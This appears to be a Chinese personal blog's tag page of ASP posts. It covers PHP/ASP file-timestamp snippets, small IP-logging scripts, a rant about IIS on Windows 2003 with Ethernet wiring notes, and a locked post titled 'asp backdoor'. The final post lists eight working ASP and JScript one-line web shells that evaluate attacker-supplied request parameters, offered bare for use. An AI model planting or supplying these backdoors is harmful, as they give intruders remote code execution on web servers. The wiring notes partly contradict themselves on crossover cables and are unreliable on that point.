正在加载...本站藏在国外,所以加载较慢...

Posts Tagged ‘ASP’

php、asp获取文件创建时间、修改时间

星期三, 五月 2nd, 2012

php获取文件创建时间、修改时间

filemtime ( string filename )

返回文件上次被修改的时间,出错时返回 FALSE。时间以 Unix 时间戳的方式返回,可用于 date()。

例如:$a=filemtime(“log.txt”);

echo “修改时间:”.date(“Y-m-d H:i:s”,$a).”

filectime ( string filename )

返回文件上次 inode 被修改的时间,如果出错则返回 FALSE。时间以 Unix 时间戳的方式返回。

例如:$a=filectime(“log.txt”);

echo “创建时间:”.date(“Y-m-d H:i:s”,$a).”

fileatime ( string filename )

返回文件上次被访问的时间,如果出错则返回 FALSE。时间以 Unix 时间戳的方式返回。

例如:$a=fileatime(“log.txt”);

echo “修改时间:”.date(“Y-m-d H:i:s”,$a).”

ASP版本:

<html><head><title>

File</title></head><body><%Call showsize(“offline.rar”)%>

<%

Function showsize(filename)

FPath=server.mappath(filename)

set =server.CreateObject(“scripting.filesystemobject”)

If fso.fileExists(FPath) Then

Set f = fso.GetFile(FPath)

filetype=f.type

filesize=f.size

lastdate=f.Datelastmodified

Select Case true

Case filesize<1024

fsize=filesize&” B”

Case filesize<1048576

fsize=Round((filesize/1024),2)&” KB”

Case filesize<1073741824

fsize=Round((filesize/1024/1024),2)&” MB”

Case else

fsize=Round((filesize/1024/1024/1024),2)&” GB”

End Select

Response.Write “文件大小:”&fsize&”,最后更新时间:”&lastdate

else

Response.Write”更新文件不存在!”

end if

End Function

%>

IP记录程序,PHP And ASP。。。

星期一, 一月 11th, 2010

先来个PHP的吧:

注意:若是BAT、REG、CMD等批处理文件;
下载后把编码改成“ANSI”保存再运行:
ip.php
  1. <?php
  2. $str = $_SERVER["REMOTE_ADDR"]." ".date("Y-m-d H:i:s").chr(13).chr(10) ."<br />\n";
  3. $getip = $_SERVER["REMOTE_ADDR"];
  4. echo "Your IP is:\n" .$getip ."<hr>My E-Mail:LenovoUnion#Gmail.Com,Welcome contact me!";
  5. $fp = fopen("ip.htm","a");
  6. fwrite($fp,$str);
  7. fclose($fp);
  8. ?>

以下是ASP的:

注意:若是BAT、REG、CMD等批处理文件;
下载后把编码改成“ANSI”保存再运行:
ip.asp
  1. <%
  2. Dim strIP
  3. strIP = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
  4. If strIP = "" Then
  5. strIP = Request.ServerVariables("REMOTE_ADDR")
  6. ipFileAddr=Server.mapPath("ip.txt")
  7. getIP=Request.ServerVariables("remote_addr")
  8. set ipFS=Server.createObject("Scripting.FileSystemObject")
  9. set ipFile=ipFS.openTextFile(ipFileAddr,8)
  10. ipFile.write(getIP&" ")
  11. ipFile.writeLine(now())
  12. ipFile.close
  13. Response.Cookies("visited")="True"
  14. End If
  15. %>
  16. 当前时间:<%=Now%><br /><hr />
  17. <h1>请勿做坏事,谢谢合作!</h1><br /><br />
  18. 您的IP地址:<%=strIP%>
  19. <!-- By lsmr 2010.01.11-->

MD2003……[IIS]

星期五, 六月 20th, 2008

老子一向用2003用得相当的少……
原因不是老子不用,是根本没有多少地方用得到的……

结果这次出问题了吧……
2003里面的IIS是不能直接运行ASP的……

装好后开启ASP—禁止改为允许
windows2003中默认没有启用ASP支持,在IIS的Web Service Extensions里找到Active Server Pages,将ALLOW选上,就可以了。
设置IIS6-默认网站-属性-主目录-配置-选项-“启用父路径”打勾

老子当时就有预感是2003的安全问题了……
MDGB的,回答错误了,竟然说可以直接运行ASP……
那狗日的竟然也不提示一下我错了,是不是还想让老子下次接着犯错,然后接着没工作?
这个社会的人真冷漠……

后来发现还犯了个更加低级的错误……
只是流畅,但后来想想貌似是错了,现在我都不记得我当时说的什么了……
应该是把所有的颜色都说出来了……
竟然把568A和568B搞混淆了……[想着回答得还蛮流畅的]
正确的:

标准568A:绿白-1,绿-2,橙白-3,蓝-4,蓝白-5,橙-6,褐白-7,褐-8;
标准568B:橙白-1,橙-2,绿白-3,蓝-4,蓝白-5,绿-6,褐白-7,褐-8。
直线:用于不同设备之间互连(交换机-PC)
-568B
反线:用于同种设备之间互连(PC-PC,交换机-交换机)
-568B
在整个网络布线中应用一种布线方式,但两端都有RJ45端头的网络连线无论是采用端接方式A,还是端接方式B,在网络中都是通用的。实际应用中,大多数都使用T568B的标准,通常认为该标准对电磁干扰的屏蔽更好。
如果是计算机与交换机或HUB相连,则两头都做568a,或两头都做568b。
如果是两台计算机互连或ADSL MODEM与HUB连接,则需要一头做568a,另一头做568b,也就是常说的1和3,2和6互换了。
另外,计算机通讯只使用1,3,2,6这四根线(也就是橙白、橙、绿白、绿,分别对应标准568A及标准568B线序即可),因此,可以用其他4根作电话线,以节约布线成本。

天不要老子去上班,还是老子平常就不仔细,这下老子自己就已经明白了……
老子现在想挖个坑自己把自己埋掉……

asp 格式化时间[小记]

星期日, 五月 11th, 2008

[ad#co-1-1]
小记一下
这几个英语单词总是记不住……

(更多…)

密码保护:asp backdoor

星期日, 五月 4th, 2008

这是一篇受密码保护的文章。您需要提供访问密码:


ASP一句话木马

星期日, 三月 23rd, 2008
  1. <%eval request("MH")%>
  2.  
  3. <%execute request("MH")%>
  4.  
  5. <%execute(request("MH"))%>
  6.  
  7. <%If Request("MH")<>"" Then Execute(Request("MH"))%>
  8.  
  9. <%if request ("MH")<>""then session("MH")=request("MH"):end if:if session("MH")<>"" then execute session("MH")%>
  10.  
  11. <SCRIPT language=VBScript runat="server">execute request("MH")</SCRIPT>
  12.  
  13. <%@ Page Language="Jscript"%>
  14.  
  15. <%eval(Request.Item["MH"],"unsafe");%>
Follow us On Twitter
打印自LenovoUnion@Gmail.Com的Blog
http://goo.gl/wmAG